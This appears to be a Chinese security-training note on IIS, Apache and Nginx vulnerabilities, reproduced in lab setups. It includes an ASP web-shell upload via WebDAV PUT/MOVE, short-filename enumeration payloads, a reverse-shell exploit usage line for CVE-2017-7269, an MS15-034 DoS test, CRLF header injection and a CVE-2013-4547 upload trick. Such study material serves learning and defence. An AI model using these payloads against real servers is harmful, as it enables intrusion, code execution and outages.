目录
[IIS RCE-CVE-2017-7269](#IIS RCE-CVE-2017-7269)
[Apache HTTPD 换行解析漏洞(CVE-2017-15715)](#Apache HTTPD 换行解析漏洞(CVE-2017-15715))
中间件
中间件(英语:Middleware)是提供系统软件和应⽤软件之间连接的软件,以便于软件各部件之间的沟通。 中间件处在操作系统和更⾼⼀级应⽤程序之间。他充当的功能是:将应⽤程序运环境靶机
漏洞描述环境漏洞复现⾏环境与操作系统隔离,从⽽实现应⽤程序开发者不必为更多系统问题忧虑,⽽直接关注该应⽤
程序在解决问题上的能⼒ 。容器就是中间件的⼀种。
也就是说,关于中间件,我们可以理解为:是⼀类能够为⼀种或多种应⽤程序合作互通、资源共享,同时还能够为该应⽤程序提供相关的服务的软件。(注意:中间件是⼀类软件的总称,不是单独的⼀个软件)。
我们经常管web中间件叫做web服务器或者web容器。
IIS
IIS6.x篇
PUT漏洞
漏洞描述
IlS Server 在 Web 服务扩展中开启了 WebDAV,配置了可以写入的权限,造成任意文件上传。
版本:IIS 6.0
环境
fofa:"lIS-6.0"
本地搭建2003 server
漏洞复现
1)开启 WebDAV 和写权限
2.右键默认网站---点开主目录---全部勾选
3.右键点击默认网站---来宾账户---完全控制
漏洞复现
⽤burpsuite 提交OPTIONS 查看⽀持的协议 :
脚本文档:
用PUT上传文档,但不能直接上传方法脚本文档,可以先上传一个其他类型的文档,然后移动成脚本⽂档:
PUT /test.txt HTTP/1.1
Host:192.168.207.133
Content-Length: 29
<%eval request("cmd")%>
使⽤MOVE命令将其更名为脚本⽂档后缀:
MOVE /test.txt HTTP/1.1
Host:192.168.207.133
Destination: http://192.168.207.133/shell.asp
工具连接
写⼊成功,菜⼑,蚁剑链接即可。
IIS6.0解析漏洞
在前⾯的解析漏洞有说过,这⾥不在赘述
IIS短文件漏洞
漏洞描述
Windows 以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16位 Windows的程序访问这些文件。在cmd下输入"dir /x"即可看到短文件名的效果。
原理
当后缀小于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位。
当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名。
目前IS支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD.TRACE六种;
IIS 8.0之后的版本只能通过OPTIONS和TRACE方法被猜测成功。
复现
IIS8.0以下版本需要开启ASP.NET支持,IIS>=8.0版本,即使没有安装ASP.NET,通过OPTIONS和TRACE方法也可以猜解成功。以下通过开启IIS6.0 ASP.NET后进行复现。
短⽂件名特征:
1.只显示前6位的字符,后续字符⽤~1代替。其中数字1是可以递增。如果存在⽂件名类似的⽂件,则前⾯的 6个字符是相同的,后⾯的数字进⾏递增。
2.后缀名最⻓只有3位,超过3位的会⽣成短⽂件名,且后缀多余的部分会截断。
3.所有⼩写字⺟均转换成⼤写的字⺟ ;
4.⻓⽂件名中包含多个"."的时候,以⽂件最后⼀个"."作为短⽂件名的后缀;
5.⻓⽂件名前缀/⽂件夹名字符⻓度符合0-9和A-Z、a-z范围且需要⼤于等于9位才会⽣成短⽂件名,如果包含空格或者其他部分特殊字符,不论⻓度均会⽣成短⽂件。
使⽤payload验证⽬标是否存在IIS短⽂件名漏洞,显示的404,说明⽬标存在该短⽂件名:PS:* 可以匹配n个字符, n可以为0 :
以123123123123.txt⽂件为例:
通过浏览器访问⼀个不存在的短⽂件名,会返回400状态码, 400说明该⽂件不存在:
通过浏览器访问上⾯两个payload,根据返回的结果,可以说明⽬标存在IIS短⽂件漏洞 ;判断漏洞存在后,接下来⼿⼯详细分析猜解IIS短⽂件名:
通过两次的提交确认了a是404,b是400 所以存在a⽂件开头的短⽂件。通过上⾯的⽅法接着往后猜:
192.168.207.133/12312*~1*/a.aspx
到这⽂件名已经出来了,接着就是判断是⽬录还是⽂件
上⾯判断是⽂件,按照a-z进⾏测试,404表示存在,400表示不存在,第⼀个字符不是a开头的⽂件 :
第⼀个是字符是t开头的,接着往后测试:
按照上⾯的⽅法依次猜解得到该短⽂件名的后缀是txt,短⽂件名为 abcde~1.txt ,可以接着猜解 123123123123.txt⽂件名 。
以上就是原理及漏洞产⽣的流程。接下来使⽤IIS短⽂件名扫描软件,获取⽬标存在哪些短⽂件名;
⼯具
https://github.com/lijiejie/IIS_shortname_Scanner
⽤法:
python2 iis_shortname_Scan.py http://192.168.207.133
IIS RCE-CVE-2017-7269
简介
Microsoft windows Server 2003 R2中的 Interne信息服务IIS6.0中的 WebDAV服务中的ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以 lf:<http://开头的长标头执行任意代码 PROPFIND请求:
影响范围
WiNdows Server 2003 R2上使用IIS6.0并开启 WebDAV扩展。
复现
右键Web服务扩展---webdav允许
利⽤⼯具
https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269
反弹shell
kali下载⼯具,nc监听:
python2 文件 目标IP port 监听IP port
IIS 7x篇
IS7文件解析漏洞
前面的解析漏洞已讲,这里不再赘述。
HTTP.SYS远程代码执⾏(MS15-034) MS-->Microsoft 2015 -034
描述
HTTP.SYS是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,
从IIS6.0引 ⼊,IIS服务进程依赖HTTP.SYSHTTP.SYS远程代码执⾏漏洞实质是HTTP.SYS的整数溢出漏洞,当攻击者向受影响的
Windows系统发送 特殊设计的HTTP 请求,HTTP.sys 未正确分析时就会导致此漏洞,成功利⽤
此漏洞的攻击者可以在系统 帐户的上下⽂中执⾏任意代码。主要存在Windows+IIS的环境下,任何安装了微软IIS 6.0以上的Windows Server 2008
R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响验证这
个漏洞。
影响范围
Plain Text
Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和Windows server 2012 R2
影响版本
Plain Text
IIS7.5、IIS8.0、IIS8.5
环境
windows server 2012 IIS8.5
复现
访问网站;
编辑请求头,增加Range:bytes=0-18446744073709551615字段,若返回码状态为416Requested Range Not Satisfiable,则存在HTTP.SYS远程代码执行漏洞。burp抓包修改请求头:
返回 416 存在此漏洞。
POC:
https://github.com/davidjura/MS15-034-IIS-Active-DoS-Exploit-PoC
可以造成⼀个ddos的效果:
填上地址
填上端⼝
主⻚图⽚ iis8.5的是(iis-85.png),其他的可以根据百度查,每个版本的欢迎⻚都不
⼀样
选择 y
python IISDoS.py
这时候就可以看到虚拟机已经变卡了,甚⾄蓝屏。
Apache
Apache 是世界使用排名第一的 Web 服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的 Web 服务器端软件之一
apache目录结构:
bin:存放常用命令工具,如httpdcgi-bin:存放linux下常用命令,如xxx.sh
error:错误记录
htdocs:网站源码
icons:网站图标
manual:手册
modules:扩展模块
未知扩展名解析漏洞
解析漏洞有讲,这里不在赘述。
AddHandler导致的解析漏洞
解析漏洞有讲,这里不在赘述。
目录遍历漏洞
原理
当客户端访问到一个目录时,Apache服务器将会默认寻找一个indexlist中的文件,若文件不存在,则会列出当前目录下所有文件或返回403状态码,而列出目录下所有文件的行为称为目录遍历。
复现
httpd.conf :
<Directory "D:/phpstudy_pro/WWW">
Options +Indexes
AllowOverride All
Order allow,deny
Allow from all
Require all granted
DirectoryIndex index.php
</Directory>
Apache HTTPD 换行解析漏洞(CVE-2017-15715)
解析漏洞有讲,这里不在赘述
Nginx
Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like 协议下发行。其特点是占有内存少,并发能力强,事实上nginx的并发能力确实在同类型的网页服务器中表现较好
文件解析漏洞
Nginx解析漏洞有讲,这里不在赘述。
目录遍历漏洞
描述
Nginx的目录遍历与apache一样,属于配置方面的问题,错误的配置可导致目录遍历与源码泄路。
原理
修改nginx.conf,在如下图位置添加autoindex on
autoindex on 开启目录浏览 autoindex off关闭目录浏览 默认是关闭状态;
漏洞复现
CRLF注⼊漏洞
描述Nginx将传⼊的url进⾏解码,对其中的%0a%0d替换成换⾏符,导致后⾯的数据注⼊⾄头部,造成CRLF 注⼊漏洞。
复现
vluhub靶场:
cd /vulhub/nginx/insecure-configuration
设置https跳转,这样就可以接收到url,进⽽进⾏处理。
在 C:\phpStudy\PHPTutorial\nginx\conf\nginx.conf⽂件中添加下⾯⼀⾏话。
return 302 https://$host$uri;
构造url,访问
192.168.3.162/%0ASet-cookie:JSPSESSID%3D3
可以看到,返回包已经有构造得cookie了。
文件名逻辑漏洞(CVE-2013-4547)
描述
这一漏洞的原理是非法字符空格和截止符(\0)会导致Nginx解析URI时的有限状态机混乱此漏洞可导致目录跨越及代码执行,其影响版本为:nginx 0.8.41-1.5.6
环境
kali vulhub靶场
/nginx/CVE-2013-4547
漏洞复现
访问靶场: http://47.99.98.0:8080/
创建 1.jpg 文件,并上传
抓包,在该文件名最后添加一个空格
上传成功后,浏览器访问 http://192.168.56.134:8080/uploadfiles/1.jpg...php将2e,2e,2e修改为20,00,2e,发包: